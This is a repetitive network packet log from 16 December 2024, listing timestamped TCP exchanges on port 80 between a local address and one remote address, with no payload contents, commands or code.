Dec 16, 2024 17:02:29.405766010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.405945063 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.407059908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.407222986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.407982111 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.408303976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.408453941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.409085035 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.409620047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.409759045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.409821033 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.410909891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.411053896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.411273003 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.412271976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.412453890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.412492990 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.413527966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.413655043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.413853884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.415209055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.415414095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.415456057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.416169882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.416268110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.416377068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.417416096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.417542934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.417578936 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.418823957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.418888092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.418927908 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.420008898 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.420139074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.421371937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.421410084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.421530962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.422847986 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.422878981 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.422949076 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.422981977 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.424118996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.424216032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.424259901 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.425371885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.425602913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.426630020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.426671028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.426673889 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.426703930 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.427937984 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.428072929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.428111076 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.429178953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.429354906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.429397106 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.430444956 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.430502892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.431138992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.431860924 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.431976080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.433161974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.433181047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.433214903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.433248997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.434281111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.434667110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.434716940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.435606003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.435930967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.435981989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.436724901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.437079906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.438105106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.438167095 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.438210964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.439136028 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.439264059 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.439420938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.439465046 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.440701962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.440814972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.440879107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.441942930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.442215919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.442969084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.443089962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.443345070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.444397926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.444457054 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.444514036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.445761919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.445830107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.445883989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.445919991 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.447179079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.447298050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.447365999 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.448369980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.448509932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.448563099 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.449307919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.449647903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.450558901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.450602055 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.450637102 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.451320887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.451741934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.451869965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.451915026 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.453562021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.453775883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.453839064 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.456341982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.456465006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.456523895 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.457519054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.457756996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.457808971 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.458897114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.458916903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.458961010 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.459974051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.459992886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.460047007 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.460747004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.460917950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.461637974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.461680889 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.461906910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.463044882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.463063002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.463146925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.463186026 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.464155912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.464461088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.464504004 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.465214968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.465460062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.466356039 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.466398954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.466465950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.467302084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.467726946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.467848063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.467895985 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.469099045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.469229937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.469285965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.470289946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.470504045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.470550060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.471363068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.471525908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.471575975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.472511053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.472798109 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.473862886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.473876953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.474014044 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.474014044 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.474755049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.474827051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.474874020 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.475832939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.475922108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.475960016 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.476788044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.476914883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.476954937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.477945089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.478106022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.479012012 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.479850054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.479993105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.481035948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.481064081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.481081009 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.481117010 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.482394934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.482579947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.482621908 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.483649015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.483716011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.483755112 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.485383034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.485403061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.485447884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.485814095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.485920906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.486016035 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.487575054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.487688065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.487953901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.487998962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.488092899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.490917921 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.492563009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.492872000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.493483067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.493715048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.493993998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.495035887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.497646093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.497739077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.497786999 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.498100042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.498265028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.498291969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.501763105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.501866102 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.501904964 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672624111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672652006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672674894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672684908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672744989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672760963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672761917 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672791958 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672802925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672813892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672820091 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672844887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672854900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672857046 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672864914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672877073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672887087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672888994 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672898054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.672916889 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.672926903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673038960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673049927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673058987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673069000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673079967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673084974 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673096895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673105955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673116922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673120975 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673125982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673136950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673146963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673155069 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673156977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673167944 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673178911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673183918 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673188925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673199892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673207998 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673211098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673223019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673233986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673248053 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673259974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673270941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673273087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673280954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673293114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673293114 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673302889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673314095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673317909 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673324108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673333883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673342943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673353910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673360109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673362970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673373938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673383951 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673392057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673394918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673407078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673413038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673418045 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673423052 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673434019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673443079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673454046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673455000 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673464060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673475027 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673477888 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673484087 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673496008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673496008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673505068 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673516035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673525095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673535109 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673537970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673540115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673549891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673559904 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673571110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673580885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673585892 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673590899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673600912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673610926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673615932 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673620939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673630953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673640966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673651934 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673654079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673661947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673671961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673681974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673682928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673692942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673702955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673706055 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673713923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673717976 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673723936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673734903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673743963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673751116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673758030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673768044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673773050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673778057 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673787117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673796892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673805952 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673805952 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673808098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673819065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673829079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673835039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673839092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673849106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673858881 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673861980 CET	49714	80	192.168.2.8	138.124.35.95
